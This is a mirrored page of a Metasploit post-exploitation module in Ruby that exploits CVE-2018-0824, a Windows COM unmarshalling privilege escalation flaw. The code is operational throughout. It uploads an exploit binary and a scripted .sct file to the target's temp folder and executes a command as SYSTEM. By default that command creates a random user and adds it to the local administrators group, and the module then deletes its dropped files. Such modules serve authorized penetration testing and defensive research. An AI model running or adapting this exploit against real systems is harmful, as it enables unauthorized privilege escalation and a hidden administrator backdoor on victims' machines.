Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/escalate/unmarshal_cmd_exec.rb
Views: 11784
# This module requires Metasploit: https://metasploit.com/download1# Current source: https://github.com/rapid7/metasploit-framework2##34class MetasploitModule < Msf::Post5include Msf::Post::Common6include Msf::Post::File7include Msf::Post::Windows::Version8# include Msf::Post::Windows::Priv910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Windows unmarshal post exploitation',15'Description' => %q{16This module exploits a local privilege escalation bug which exists17in microsoft COM for windows when it fails to properly handle serialized objects.18},19'References' => [20['CVE', '2018-0824'],21['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],22['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],23['EDB', '44906']24],25'Author' => [26'Nicolas Joly', # Vulnerability discovery27'Matthias Kaiser', # Exploit PoC28'Sanjay Gondaliya', # Modified PoC29'Pratik Shah <[email protected]>' # Metasploit module30],31'DisclosureDate' => '2018-08-05',32'Platform' => ['win'],33'Arch' => ARCH_X64,34'License' => MSF_LICENSE,35'Compat' => {36'Meterpreter' => {37'Commands' => %w[38stdapi_sys_config_getenv39]40}41}42)43)4445register_options(46[47OptString.new('COMMAND',48[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),49OptString.new('EXPLOIT_NAME',50[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),51OptString.new('SCRIPT_NAME',52[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),53OptString.new('PATH',54[false, 'Path to write binaries (%TEMP% by default).', nil]),55]56)57end5859def setup60super61validate_active_host62@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))63@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))64@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)65@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)66@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')67@exploit_path = "#{temp_path}\\#{exploit_name}"68@script_path = "#{temp_path}\\#{script_name}"69end7071def populate_command72username = Rex::Text.rand_text_alpha(rand(6..13))73password = Rex::Text.rand_text_alpha(rand(6..13))74print_status("username = #{username}, password = #{password}")75cmd_to_run = 'net user /add ' + username + ' ' + password76cmd_to_run += ' & net localgroup administrators /add ' + username77print_status(cmd_to_run)78return cmd_to_run79end8081def validate_active_host82print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")83rescue Rex::Post::Meterpreter::RequestError => e84elog(e)85raise Msf::Exploit::Failed, 'Could not connect to session'86end8788def validate_remote_path(path)89unless directory?(path)90fail_with(Failure::Unreachable, "#{path} does not exist on the target")91end92end9394def validate_target95if sysinfo['Architecture'] == ARCH_X8696fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')97end98version = get_version_info99unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)100fail_with(Failure::Unknown, 'The exploit does not support this OS')101end102end103104def ensure_clean_destination(path)105if file?(path)106print_status("#{path} already exists on the target. Deleting...")107begin108file_rm(path)109print_status("Deleted #{path}")110rescue Rex::Post::Meterpreter::RequestError => e111elog(e)112print_error("Unable to delete #{path}")113end114end115end116117def upload_exploit118local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')119upload_file(exploit_path, local_exploit_path)120print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")121end122123def upload_script(cmd_to_run)124vprint_status("Creating the sct file with command #{cmd_to_run}")125local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')126script_template_data = ::IO.read(local_script_template_path)127vprint_status("script_template_data.length = #{script_template_data.length}")128full_command = 'cmd.exe /c ' + cmd_to_run129full_command = full_command130script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)131if script_data.nil?132fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')133end134vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")135write_file(script_path, script_data)136vprint_status('Script uploaded successfully')137end138139def run140if datastore['COMMAND'].nil?141cmd_to_run = populate_command142else143cmd_to_run = datastore['COMMAND']144end145print_status("exploit path is: #{exploit_path}")146print_status("script path is: #{script_path}")147print_status("command is: #{cmd_to_run}")148begin149validate_active_host150validate_target151validate_remote_path(temp_path)152ensure_clean_destination(exploit_path)153ensure_clean_destination(script_path)154vprint_status("Uploading Script to #{script_path}")155upload_script(cmd_to_run)156vprint_status("Uploading Exploit to #{exploit_path}")157upload_exploit158vprint_status('Launching Exploit...')159command_output = cmd_exec(exploit_path + ' ' + script_path)160vprint_status(command_output)161print_good('Exploit Completed')162ensure_clean_destination(exploit_path)163ensure_clean_destination(script_path)164rescue Rex::Post::Meterpreter::RequestError => e165elog('Command failed, cleaning up', error: e)166print_good('Command failed, cleaning up')167print_error(e.message)168ensure_clean_destination(exploit_path)169ensure_clean_destination(script_path)170end171end172attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path173end174175176